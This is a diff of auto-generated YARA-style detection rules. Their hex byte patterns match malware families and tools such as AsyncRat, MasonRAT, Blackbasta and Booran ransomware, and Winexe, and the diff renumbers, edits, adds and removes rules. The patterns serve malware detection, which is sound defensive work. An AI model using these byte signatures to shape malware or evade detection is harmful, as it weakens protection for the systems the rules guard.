00 02 00 02 00 21 23 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=2 + +} +rule _InfrastructureShared_2863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -29165,7 +29632,7 @@ rule _InfrastructureShared_2819{ ((#a_46_0 & 1)*16675+(#a_4e_1 & 1)*12851) >=2 } -rule _InfrastructureShared_2820{ +rule _InfrastructureShared_2864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -29176,7 +29643,7 @@ rule _InfrastructureShared_2820{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28532) >=2 } -rule _InfrastructureShared_2821{ +rule _InfrastructureShared_2865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -29187,7 +29654,7 @@ rule _InfrastructureShared_2821{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*26995) >=2 } -rule _InfrastructureShared_2822{ +rule _InfrastructureShared_2866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -29198,7 +29665,7 @@ rule _InfrastructureShared_2822{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*26995) >=2 } -rule _InfrastructureShared_2823{ +rule _InfrastructureShared_2867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -29209,7 +29676,7 @@ rule _InfrastructureShared_2823{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*21059) >=2 } -rule _InfrastructureShared_2824{ +rule _InfrastructureShared_2868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -29220,7 +29687,7 @@ rule _InfrastructureShared_2824{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29795) >=2 } -rule _InfrastructureShared_2825{ +rule _InfrastructureShared_2869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -29231,7 +29698,7 @@ rule _InfrastructureShared_2825{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*13166) >=2 } -rule _InfrastructureShared_2826{ +rule _InfrastructureShared_2870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -29242,7 +29709,7 @@ rule _InfrastructureShared_2826{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*12082) >=2 } -rule _InfrastructureShared_2827{ +rule _InfrastructureShared_2871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -29253,7 +29720,7 @@ rule _InfrastructureShared_2827{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*14958) >=2 } -rule _InfrastructureShared_2828{ +rule _InfrastructureShared_2872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -29264,28 +29731,40 @@ rule _InfrastructureShared_2828{ ((#a_4c_0 & 1)*21539+(#a_3a_1 & 1)*17748) >=2 } -rule _InfrastructureShared_2829{ +rule _InfrastructureShared_2873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 57 69 6e 65 78 65 2e 41 00 01 00 0f 01 5c 5c 2e 5c 70 69 70 65 5c 61 68 65 78 65 63 01 00 08 01 69 6d 70 6c 65 76 65 6c 00 00 78 45 00 00 02 00 02 00 02 00 21 23 } //21539 - $a_65_1 = {68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0a 01 02 c2 8a 14 31 32 d0 88 14 31 01 00 10 01 8b 03 6a 00 81 c2 00 01 00 00 6a 00 52 50 ff 15 00 00 78 45 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 } //28516 + $a_65_1 = {68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0a 01 02 c2 8a 14 31 32 d0 88 14 31 01 00 10 01 8b 03 6a 00 81 c2 00 01 00 00 6a 00 52 50 ff 15 00 00 78 45 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 43 43 } //28516 condition: ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*28516) >=2 } -rule _InfrastructureShared_2830{ +rule _InfrastructureShared_2874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0a 01 02 c2 8a 14 31 32 d0 88 14 31 01 00 10 01 8b 03 6a 00 81 c2 00 01 00 00 6a 00 52 50 ff 15 00 00 78 45 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 2e 33 00 02 00 04 01 8b 74 38 } //25635 + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0a 01 02 c2 8a 14 31 32 d0 88 14 31 01 00 10 01 8b 03 6a 00 81 c2 00 01 00 00 6a 00 52 50 ff 15 00 00 78 45 00 00 03 00 03 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 43 43 21 4d 54 42 00 01 00 0b 01 4d 61 73 6f 6e 43 } //25635 + $a_6e_1 = {02 00 08 01 4d 61 73 6f 6e 52 41 54 00 00 78 45 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 2e 33 00 02 00 04 01 8b 74 38 78 02 00 04 01 8b 74 08 78 01 00 04 01 8b 54 32 28 00 00 78 45 00 00 03 00 03 00 03 00 21 23 48 53 } //26988 condition: - ((#a_5f_0 & 1)*25635) >=2 + ((#a_5f_0 & 1)*25635+(#a_6e_1 & 1)*26988) >=2 } -rule _InfrastructureShared_2831{ +rule _InfrastructureShared_2875{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 61 74 2e 43 43 21 4d 54 42 00 01 00 0b 01 4d 61 73 6f 6e 43 6c 69 65 6e 74 02 00 08 01 4d 61 73 6f 6e 52 41 54 00 00 78 45 00 00 03 00 03 00 03 00 21 23 } //21539 + $a_52_1 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 50 4e 2e 33 00 02 00 04 01 8b 74 38 78 02 00 04 01 8b 74 08 78 01 00 04 01 8b 54 32 28 00 00 78 45 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e } //21320 + condition: + ((#a_4c_0 & 1)*21539+(#a_52_1 & 1)*21320) >=3 + +} +rule _InfrastructureShared_2876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -29297,7 +29776,7 @@ rule _InfrastructureShared_2831{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*28265+(#a_48_2 & 1)*8448) >=3 } -rule _InfrastructureShared_2832{ +rule _InfrastructureShared_2877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -29308,7 +29787,7 @@ rule _InfrastructureShared_2832{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24937) >=3 } -rule _InfrastructureShared_2833{ +rule _InfrastructureShared_2878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -29319,48 +29798,38 @@ rule _InfrastructureShared_2833{ ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*12851) >=3 } -rule _InfrastructureShared_2834{ +rule _InfrastructureShared_2879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 46 41 45 21 4d 54 42 00 04 00 17 03 4f 2b da c1 c7 02 87 c6 31 05 90 01 04 87 c6 c1 cf 02 03 da 47 90 00 00 00 78 45 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f } //16675 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 75 6d 6d 61 43 2e 46 41 45 21 4d 54 42 00 04 00 17 03 4f 2b da c1 c7 02 87 c6 31 05 90 01 04 87 c6 c1 cf 02 03 da 47 90 00 00 00 78 45 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 56 69 } //16675 condition: ((#a_46_0 & 1)*16675) >=4 } -rule _InfrastructureShared_2835{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 61 73 6b 75 6e 2e 47 50 50 47 21 4d 54 42 00 04 00 17 03 8e 69 5d 91 61 28 90 01 02 00 06 02 11 01 17 58 02 8e 69 5d 91 90 00 00 00 78 45 00 00 04 00 04 00 02 00 21 23 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=4 - -} -rule _InfrastructureShared_2836{ +rule _InfrastructureShared_2880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : - $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 4b 45 00 01 00 04 01 64 ff 30 e9 03 00 0d 01 3d 00 1d 1d 7a 8a eb 3d 00 04 04 08 e9 00 00 78 45 00 00 05 00 05 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e } //18467 - $a_42_1 = {61 63 6b 62 61 73 74 61 2e 45 41 46 21 4d 54 42 00 05 00 13 01 0f af de 8b d3 c1 ea 10 88 14 01 8b d3 ff 87 84 00 00 00 00 00 78 45 00 00 0a } //12851 + $a_54_0 = {3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 4b 45 00 01 00 04 01 64 ff 30 e9 03 00 0d 01 3d 00 1d 1d 7a 8a eb 3d 00 04 04 08 e9 00 00 78 45 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //18467 + $a_4c_1 = {73 79 2e 50 47 4c 53 21 4d 54 42 00 05 00 18 03 b7 38 0b b0 90 01 04 00 a6 90 01 04 41 30 1c 0a 41 02 1c 0a e2 f6 90 00 00 00 78 45 00 00 0a } //13366 condition: - ((#a_54_0 & 1)*18467+(#a_42_1 & 1)*12851) >=4 + ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*13366) >=4 } -rule _InfrastructureShared_2837{ +rule _InfrastructureShared_2881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " strings : - $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 42 6c 61 63 6b 62 61 73 74 61 2e 45 41 46 21 4d 54 42 00 05 00 13 01 0f af de 8b d3 c1 ea 10 88 14 01 8b d3 ff 87 84 00 00 00 00 00 78 45 00 00 0a 00 0a 00 01 00 21 23 41 4c 46 3a 42 61 63 } //16675 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 73 79 2e 50 47 4c 53 21 4d 54 42 00 05 00 18 03 b7 38 0b b0 90 01 04 00 a6 90 01 04 41 30 1c 0a 41 02 1c 0a e2 f6 90 00 00 00 78 45 00 00 0a 00 0a 00 01 00 21 23 } //21539 condition: - ((#a_46_0 & 1)*16675) >=5 + ((#a_4c_0 & 1)*21539) >=5 } -rule _InfrastructureShared_2838{ +rule _InfrastructureShared_2882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -29370,7 +29839,7 @@ rule _InfrastructureShared_2838{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_2839{ +rule _InfrastructureShared_2883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -29380,7 +29849,7 @@ rule _InfrastructureShared_2839{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_2840{ +rule _InfrastructureShared_2884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -29390,7 +29859,7 @@ rule _InfrastructureShared_2840{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_2841{ +rule _InfrastructureShared_2885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29400,7 +29869,7 @@ rule _InfrastructureShared_2841{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2842{ +rule _InfrastructureShared_2886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29410,7 +29879,7 @@ rule _InfrastructureShared_2842{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2843{ +rule _InfrastructureShared_2887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29420,7 +29889,7 @@ rule _InfrastructureShared_2843{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2844{ +rule _InfrastructureShared_2888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29430,27 +29899,17 @@ rule _InfrastructureShared_2844{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2845{ +rule _InfrastructureShared_2889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {48 53 54 52 3a 49 6e 6a 65 63 74 6f 72 3a 53 30 41 31 00 01 00 21 03 17 da 11 04 da 03 11 04 91 90 01 01 61 90 01 01 11 04 90 01 01 8e b7 5d 91 61 9c 11 04 17 d6 90 00 00 00 78 46 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 52 61 } //16675 + $a_46_0 = {48 53 54 52 3a 49 6e 6a 65 63 74 6f 72 3a 53 30 41 31 00 01 00 21 03 17 da 11 04 da 03 11 04 91 90 01 01 61 90 01 01 11 04 90 01 01 8e b7 5d 91 61 9c 11 04 17 d6 90 00 00 00 78 46 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 } //16675 condition: ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2846{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " - - strings : - $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 42 6f 6f 72 61 6e 2e 50 42 21 4d 54 42 00 01 00 19 03 4c 89 e9 e8 90 01 04 48 8b 8d 90 01 04 31 04 b9 48 ff c7 48 39 fe 75 90 00 00 00 78 46 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=1 - -} -rule _InfrastructureShared_2847{ +rule _InfrastructureShared_2890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29460,7 +29919,7 @@ rule _InfrastructureShared_2847{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2848{ +rule _InfrastructureShared_2891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29470,7 +29929,7 @@ rule _InfrastructureShared_2848{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2849{ +rule _InfrastructureShared_2892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29480,7 +29939,7 @@ rule _InfrastructureShared_2849{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2850{ +rule _InfrastructureShared_2893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29490,7 +29949,7 @@ rule _InfrastructureShared_2850{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2851{ +rule _InfrastructureShared_2894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29500,7 +29959,7 @@ rule _InfrastructureShared_2851{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2852{ +rule _InfrastructureShared_2895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29510,7 +29969,7 @@ rule _InfrastructureShared_2852{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2853{ +rule _InfrastructureShared_2896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29520,7 +29979,7 @@ rule _InfrastructureShared_2853{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2854{ +rule _InfrastructureShared_2897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29530,7 +29989,7 @@ rule _InfrastructureShared_2854{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2855{ +rule _InfrastructureShared_2898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29540,7 +29999,7 @@ rule _InfrastructureShared_2855{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2856{ +rule _InfrastructureShared_2899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29550,7 +30009,7 @@ rule _InfrastructureShared_2856{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2857{ +rule _InfrastructureShared_2900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29560,7 +30019,7 @@ rule _InfrastructureShared_2857{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2858{ +rule _InfrastructureShared_2901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29570,7 +30029,7 @@ rule _InfrastructureShared_2858{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2859{ +rule _InfrastructureShared_2902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29580,7 +30039,7 @@ rule _InfrastructureShared_2859{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2860{ +rule _InfrastructureShared_2903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29590,7 +30049,7 @@ rule _InfrastructureShared_2860{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2861{ +rule _InfrastructureShared_2904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29600,7 +30059,7 @@ rule _InfrastructureShared_2861{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2862{ +rule _InfrastructureShared_2905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29610,7 +30069,7 @@ rule _InfrastructureShared_2862{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2863{ +rule _InfrastructureShared_2906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29620,7 +30079,7 @@ rule _InfrastructureShared_2863{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2864{ +rule _InfrastructureShared_2907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29630,7 +30089,7 @@ rule _InfrastructureShared_2864{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2865{ +rule _InfrastructureShared_2908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29640,7 +30099,7 @@ rule _InfrastructureShared_2865{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2866{ +rule _InfrastructureShared_2909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29650,7 +30109,7 @@ rule _InfrastructureShared_2866{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2867{ +rule _InfrastructureShared_2910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29660,7 +30119,7 @@ rule _InfrastructureShared_2867{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2868{ +rule _InfrastructureShared_2911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29670,7 +30129,7 @@ rule _InfrastructureShared_2868{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2869{ +rule _InfrastructureShared_2912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29680,7 +30139,7 @@ rule _InfrastructureShared_2869{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_2870{ +rule _InfrastructureShared_2913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29690,7 +30149,7 @@ rule _InfrastructureShared_2870{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_2871{ +rule _InfrastructureShared_2914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29700,7 +30159,7 @@ rule _InfrastructureShared_2871{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_2872{ +rule _InfrastructureShared_2915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29710,7 +30169,7 @@ rule _InfrastructureShared_2872{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_2873{ +rule _InfrastructureShared_2916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29720,7 +30179,7 @@ rule _InfrastructureShared_2873{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_2874{ +rule _InfrastructureShared_2917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29730,7 +30189,7 @@ rule _InfrastructureShared_2874{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2875{ +rule _InfrastructureShared_2918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29740,7 +30199,7 @@ rule _InfrastructureShared_2875{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2876{ +rule _InfrastructureShared_2919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29750,7 +30209,7 @@ rule _InfrastructureShared_2876{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2877{ +rule _InfrastructureShared_2920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29760,7 +30219,7 @@ rule _InfrastructureShared_2877{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2878{ +rule _InfrastructureShared_2921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29770,7 +30229,7 @@ rule _InfrastructureShared_2878{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2879{ +rule _InfrastructureShared_2922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29780,7 +30239,7 @@ rule _InfrastructureShared_2879{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2880{ +rule _InfrastructureShared_2923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29790,7 +30249,7 @@ rule _InfrastructureShared_2880{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2881{ +rule _InfrastructureShared_2924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29800,7 +30259,7 @@ rule _InfrastructureShared_2881{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2882{ +rule _InfrastructureShared_2925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29810,7 +30269,7 @@ rule _InfrastructureShared_2882{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2883{ +rule _InfrastructureShared_2926{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29820,7 +30279,7 @@ rule _InfrastructureShared_2883{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2884{ +rule _InfrastructureShared_2927{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29830,7 +30289,7 @@ rule _InfrastructureShared_2884{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2885{ +rule _InfrastructureShared_2928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29840,7 +30299,7 @@ rule _InfrastructureShared_2885{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2886{ +rule _InfrastructureShared_2929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29850,7 +30309,7 @@ rule _InfrastructureShared_2886{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2887{ +rule _InfrastructureShared_2930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29860,7 +30319,7 @@ rule _InfrastructureShared_2887{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2888{ +rule _InfrastructureShared_2931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29870,7 +30329,7 @@ rule _InfrastructureShared_2888{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2889{ +rule _InfrastructureShared_2932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29880,7 +30339,7 @@ rule _InfrastructureShared_2889{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2890{ +rule _InfrastructureShared_2933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29890,7 +30349,7 @@ rule _InfrastructureShared_2890{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2891{ +rule _InfrastructureShared_2934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29900,7 +30359,7 @@ rule _InfrastructureShared_2891{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2892{ +rule _InfrastructureShared_2935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29910,7 +30369,7 @@ rule _InfrastructureShared_2892{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2893{ +rule _InfrastructureShared_2936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29920,7 +30379,7 @@ rule 